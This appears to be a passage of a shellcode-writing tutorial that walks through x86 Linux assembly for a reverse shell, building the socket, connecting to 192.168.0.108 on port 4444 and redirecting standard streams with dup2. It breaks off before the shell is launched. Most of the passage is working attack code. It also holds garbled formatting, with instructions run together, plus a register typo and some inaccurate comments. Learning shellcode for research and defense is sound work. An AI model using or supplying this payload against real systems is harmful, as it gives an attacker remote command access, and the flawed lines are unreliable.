So, 102 is system call number for socketcall.
To hexadecimal:
Assembly code
push 0x66pop eax
push 0x66 = push the hexadecimal value 0x66 (which is 102 in decimal) onto the stack.
pop eax = pop the top value off the stack and into the EAX register.
Use this instead of mov eax, 0x66
Because when writing shellcode, we want to avoid null bytes (0x00). Using mov eax, 0x66 directly generates:
b8 66 00 00 00 ; mov eax, 0x66
This includes three null bytes, which could terminate your shellcode early in certain contexts.
But push + pop compiles to:
6a 66 ; push 0x6658 ; pop eax
Now we need to start SYS_SOCKET functions calls of the socketcall syscall and it’s definition can be found in /usr/include/linux/net.h: 1 is the definition of SYS_SOCKET.
Assembly code
push 0x66pop eax; addedpush 0x1pop ebx
Add argument to socket():
The socket() function takes 3 arguments:
sockfd = socket(int socket_family, int socket_type, int protocol);
So we need to find definition for the arguments.
For,
Argument
Path
socket_family
/usr/include/bits/socket.h
socket_type
/usr/include/bits/socket_type.h
protocol
usr/include/linux/in.h
4.1 Clear edx register:
xor edx, edx ; edx = 0
This ensures edx is zero. Used to represent protocol = 0 (IPPROTO_IP = 0).
4.2 Push socket arguments onto the stack in reverse order:
Top of stack (ESP) now points to this array of arguments.
4.3 Set ECX to point to the argument array:
mov ecx, esp ; ecx now points to socket args
This is needed because ecx is expected to hold a pointer to the args array when using socketcall.
Make the syscall:
int 0x80 ; syscall interrupt
Save the socket file descriptor:
xchg edx, eax ; swap socket fd (in eax) into edx
After the syscall, eax will contain the return value, which is the file descriptor for the socket. Swapping it into edx saves it for later use (because eax may be overwritten by the next syscall).
Register
Purpose
Value
eax
Syscall number
0x66 (socketcall)
ebx
Subcall number
1 (socket)
ecx
Pointer to arguments array
Points to stack
edx
Zeroed initially; holds fd
After xchg
esp
Stack pointer
Holds socket args
Assembly code
push 0x66pop eaxpush 0x1pop ebx;addedxor edx, edx ; zero out edxpush edx ; protocol = IPPROTO_IP (0x0)push ebx ; socket_type = SOCK_STREAM (0x1)push 0x2 ; socket_family = AF_INET (0x2)mov ecx, esp ; move stack pointer to ecxint 0x80 ; syscall (exec sys_socket)xchg edx, eax ; save result (sockfd) for later usage
Connect to a specified IP and port
Start by preparing for the socketcall syscall:
mov al, 0x66 ; syscall number 102 (socketcall)
We’re putting the value 0x66 into the lower 8 bits of the EAX register that is, AL.
Construct the sockaddr_in struct in memory (reverse push order): sockaddr_in in C:
push 0xc0a8006c ; sin_addr = 192.168.0.108 (in hex and network byte order)push word 0x5c11 ; sin_port = 4444 (again, in hex)inc ebx ; ebx becomes 0x2 = AF_INET (Address family)push word bx ; sin_family = AF_INET (2)
Line
Instruction
Description
Stack After This Step (Top to Bottom)
1
push 0xc0a8006c
Push IP address (192.168.0.108) in hex (network byte order)
0xc0a8006c
2
push word 0x5c11
Push port 4444 in hex (little endian) — 0x115c
0x5c110xc0a8006c
3
inc ebx
Increase EBX register (e.g., from 1 to 2) to hold address family = AF_INET (value = 2)
Stack unchanged
4
push word bx
Push lower 16 bits of EBX (which is now 0x2) = AF_INET
0x0002 0x5c11 0xc0a8006c
Save pointer to the top of stack (sockaddr) to ECX:
mov ecx, esp ; ECX now points to the full sockaddr struct
Prepare the argument array for connect():
Signature of connect function
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
push 0x10 ; addrlen = 16 bytes (sizeof(sockaddr_in))push ecx ; pointer to sockaddrpush edx ; sockfd (EDX was set earlier to hold sockfd)
Assembly Instruction
Meaning
Stack After Push
push 0x10
Push 16 (decimal) — size of struct sockaddr_in
Top → 0x10
push ecx
Push pointer to the sockaddr_in structure
Top → [ECX] Next → 0x10
push edx
Push file descriptor returned by socket() (stored in EDX)
Top → [EDX] Next → [ECX] Next → 0x10
Point ECX to the argument array and make syscall:
mov ecx, esp ; ECX points to the array of 3 argumentsinc ebx ; EBX = 3 => connect() in socketcallint 0x80 ; syscall trigger
Assembly code
push 0x66pop eaxpush 0x1pop ebx;addedxor edx, edx ; zero out edxpush edx ; protocol = IPPROTO_IP (0x0)push ebx ; socket_type = SOCK_STREAM (0x1)push 0x2 ; socket_family = AF_INET (0x2)mov ecx, esp ; move stack pointer to ecxint 0x80 ; syscall (exec sys_socket)xchg edx, eax ; save result (sockfd) for later usagemov al, 0x66 ; syscall number 102 (socketcall)push 0xc0a8006c ; sin_addr = 192.168.0.108 (in hex and network byte order)push word 0x5c11 ; sin_port = 4444 (again, in hex)inc ebx ; ebx becomes 0x2 = AF_INET (Address family)push word bx ; sin_family = AF_INET (2)mov ecx, esp ; ECX now points to the full sockaddr structpush 0x10 ; addrlen = 16 bytes (sizeof(sockaddr_in))push ecx ; pointer to sockaddrpush edx ; sockfd (EDX was set earlier to hold sockfd)mov ecx, esp ; ECX points to the array of 3 argumentsinc ebx ; EBX = 3 => connect() in socketcallint 0x80 ; syscall trigger
redirect stdin, stdout and stderr via dup2
push 0x2 ;set counter to 2pop ecx ;zero to eax (rest for newfd)
Pushing 2 to stack and clearing ecxto hold newfd.
xchg ebx, edx ;save sockfd
Exchanging sockfd pointer to from edx to ebx.
Now dup2 takes two arguments 1 oldfd which we have saved in ebx in last step and 2 newfd which will be 1, 2, and 3 from loop.
for (int i = 0; i < 3; i++) {// dup2(sockftd, 0) - stdin// dup2(sockfd, 1) - stdout// dup2(sockfd, 2) - stderrdup2(sockfd, i);}
=
dup: mov al, 0x3f ; sys_dup2 = 63 = 0x3f int 0x80 ; syscall (exec sys_dup2) dec exc ; decrement counter jns dup ; as long as SF is not set -> jmp to dup